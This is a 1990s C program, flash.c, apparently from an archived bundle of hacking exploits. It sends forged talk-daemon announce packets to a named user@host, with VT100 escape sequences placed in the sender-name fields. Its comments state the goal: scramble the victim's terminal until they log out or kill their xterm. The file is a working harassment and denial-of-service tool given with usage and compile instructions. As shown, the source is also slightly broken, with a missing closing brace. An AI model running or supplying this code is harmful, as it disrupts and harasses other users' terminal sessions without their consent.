home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / flash.c < prev    next >
C/C++ Source or Header  |  1997-02-10  |  5KB  |  200 lines

  1. /* flash.c */
  2.  
  3. /* This little program is intended to quickly mess up a user's
  4.    terminal by issuing a talk request to that person and sending
  5.    vt100 escape characters that force the user to logout or kill
  6.    his/her xterm in order to regain a sane view of the text.
  7.    It the user's message mode is set to off (mesg n) he/she will
  8.    be unharmed. 
  9.    This program is really nasty :-)
  10.  
  11.    Usage: flash user@host
  12.  
  13.    try compiling with: gcc -o flash flash.c
  14. */
  15.  
  16.  
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <netdb.h>
  21. #include <stdio.h>
  22. #include <strings.h>
  23.  
  24. /* this should really be in an include file..  */
  25.  
  26. #define OLD_NAME_SIZE 9
  27. #define NAME_SIZE    12
  28. #define TTY_SIZE     16 
  29. typedef struct {
  30.         char    type;
  31.         char    l_name[OLD_NAME_SIZE];
  32.         char    r_name[OLD_NAME_SIZE];
  33.         char    filler;
  34.         u_long  id_num;
  35.         u_long  pid;
  36.         char    r_tty[TTY_SIZE];
  37.         struct  sockaddr_in addr;
  38.         struct  sockaddr_in ctl_addr;
  39. } OLD_MSG;
  40.  
  41. typedef struct {
  42.         u_char  vers;
  43.         char    type;
  44.         u_short filler;
  45.         u_long  id_num;
  46.         struct  sockaddr_in addr;
  47.         struct  sockaddr_in ctl_addr;
  48.         long    pid;
  49.         char    l_name[NAME_SIZE];
  50.         char    r_name[NAME_SIZE];
  51.         char    r_tty[TTY_SIZE];
  52. } CTL_MSG;
  53.  
  54. #define TALK_VERSION    1               /* protocol version */
  55.  
  56. /* Types */
  57. #define LEAVE_INVITE    0
  58. #define LOOK_UP         1
  59. #define DELETE          2
  60. #define ANNOUNCE        3
  61.  
  62. int    current = 1;     /* current id..  this to avoid duplications */
  63.  
  64. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  65. {
  66. static  struct sockaddr    addr;
  67. struct  sockaddr_in *address;
  68. struct  hostent     *host;
  69.  
  70. address = (struct sockaddr_in *)&addr;
  71. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  72. /* fill in the easy fields */
  73. address->sin_family = AF_INET;
  74. address->sin_port = htons(port);
  75. /* first, check if the address is an ip address */
  76. address->sin_addr.s_addr = inet_addr(hostname);
  77. if ( (int)address->sin_addr.s_addr == -1)
  78.         {
  79.         /* it wasn't.. so we try it as a long host name */
  80.         host = gethostbyname(hostname);
  81.         if (host)
  82.                 {
  83.                 /* wow.  It's a host name.. set the fields */
  84.                 /* ?? address->sin_family = host->h_addrtype; */
  85.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  86.                         host->h_length);
  87.                 }
  88.         else
  89.                 {
  90.                 /* oops.. can't find it.. */
  91.         puts("Couldn't find address"); 
  92.         exit(-1);
  93.                 return (struct sockaddr_in *)0;
  94.                 }
  95.         }
  96. /* all done. */
  97. return (struct sockaddr_in *)address;
  98. }
  99.  
  100. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  101. {
  102. int     s;
  103. struct sockaddr sample; /* not used.. only to get the size */
  104.  
  105. s = socket(AF_INET, SOCK_DGRAM, 0);
  106. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  107.  
  108.  
  109. new_ANNOUNCE(char *hostname, char *remote, char *local)
  110. {
  111. CTL_MSG     packet; 
  112. struct   sockaddr_in  *address;
  113.  
  114. /* create a packet */
  115. address = getinaddr(hostname, 666 );  
  116. address->sin_family = htons(AF_INET); 
  117.  
  118. bzero( (char *)&packet, sizeof(packet) );
  119. packet.vers   = TALK_VERSION; 
  120. packet.type   = ANNOUNCE;   
  121. packet.pid    = getpid();
  122. packet.id_num = current;
  123. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  124. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  125. strncpy( packet.l_name, local, NAME_SIZE); 
  126. strncpy( packet.r_name, remote, NAME_SIZE); 
  127. strncpy( packet.r_tty, "", 1); 
  128.  
  129. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  130. }
  131.  
  132. old_ANNOUNCE(char *hostname, char *remote, char *local)
  133. {
  134. OLD_MSG  packet;
  135. struct   sockaddr_in  *address;
  136.  
  137. /* create a packet */
  138. address = getinaddr(hostname, 666 );
  139. address->sin_family = htons(AF_INET);
  140.  
  141. bzero( (char *)&packet, sizeof(packet) );
  142. packet.type   = ANNOUNCE;
  143. packet.pid    = getpid();
  144. packet.id_num = current;
  145. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  146. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  147. strncpy( packet.l_name, local, NAME_SIZE);
  148. strncpy( packet.r_name, remote, NAME_SIZE);
  149. strncpy( packet.r_tty, "", 1);
  150.  
  151. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  152. }
  153.  
  154. main(int argc, char *argv[])
  155. {
  156.     char    *hostname, *username; 
  157.     int    pid;
  158.  
  159.     if ( (pid = fork()) == -1)  
  160.          {
  161.         perror("fork()");
  162.         exit(-1);
  163.         }
  164.     if ( !pid )
  165.         {
  166.         exit(0);
  167.         }
  168.     if (argc < 2) { 
  169.         puts("Usage: <finger info> ");
  170.         exit(5);
  171.     }
  172.      username = argv[1]; 
  173.     if ( (hostname = (char *)strchr(username, '@')) == NULL )    
  174.         {
  175.         puts("Invalid name.  ");
  176.         exit(-1);
  177.         }
  178.         *hostname = '\0'; 
  179.     hostname++; 
  180.  
  181.     if (*username == '~') 
  182.         username++; 
  183.  
  184. #define FIRST "\033c\033(0\033#8" 
  185. #define SECOND "\033[1;3r\033[J"
  186. #define THIRD  "\033[5m\033[?5h"
  187.     new_ANNOUNCE(hostname, username, FIRST);
  188.     old_ANNOUNCE(hostname, username, FIRST);
  189.     current++; 
  190.     new_ANNOUNCE(hostname, username, SECOND);
  191.     new_ANNOUNCE(hostname, username, SECOND);
  192.     current++;
  193.     new_ANNOUNCE(hostname, username, THIRD); 
  194.      old_ANNOUNCE(hostname, username, THIRD);
  195. }
  196.  
  197.  
  198.         
  199.